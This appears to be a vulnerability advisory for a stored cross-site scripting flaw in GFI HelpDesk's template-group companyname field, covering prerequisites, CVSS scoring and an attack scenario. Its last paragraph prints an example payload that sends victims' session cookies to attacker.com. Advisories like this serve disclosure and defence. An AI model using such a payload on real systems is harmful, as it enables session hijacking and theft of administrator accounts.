Helpdesk EUVD-2026-23926

Exploitation requires the attacker to possess valid administrative credentials with permissions to create or edit template groups in GFI HelpDesk. The victim administrator must navigate to the Templates > Groups administrative page while the attacker's payload remains stored in the database. No other special configuration or feature enablement is required beyond default GFI HelpDesk installation. The vulnerability affects all administrator accounts with access to the Templates interface, regardless of their individual privilege level, because the XSS executes in the victim's browser context using their session. This means a high-privilege administrator injecting the payload can compromise lower-privilege administrators, expanding the impact within the administrative hierarchy.

CVSS score of 4.8 reflects moderate severity with low real-world urgency despite the stored XSS classification. The attack vector is network-accessible (AV:N) and has low complexity (AC:L), but exploitation requires high privileges (PR:H - administrator role) and positive user interaction (UI:P - victim must view the Templates > Groups page). The impact is limited to scope changes affecting other users (SI:L) with no confidentiality or integrity impact to the system itself (VC:N, VI:N, VA:N). EPSS and KEV status are not provided, but the combination of required admin privileges, mandatory user interaction, and limited scope suggests this is a low-priority vulnerability in practice. The threat model applies primarily to scenarios where a rogue or compromised administrator account exists and seeks to deface the administrative interface or perform credential theft from other administrators via session hijacking. Organizations with strong administrative access controls and monitoring will face minimal real-world risk. The stored nature (versus reflected) does increase persistence concerns, but the admin-only requirement substantially limits reach.

An administrator with malicious intent or a compromised administrative account creates a new template group and enters JavaScript code (e.g., <img src=x onerror='fetch("https://attacker.com?cookie=" + document.cookie)'>) in the companyname field. When other administrators navigate to the Templates > Groups page to review or edit template groups, the injected script executes in their browser, stealing session cookies or redirecting them to a phishing site. Since the XSS is stored, it persists until the affected template group is deleted or the script payload is manually removed.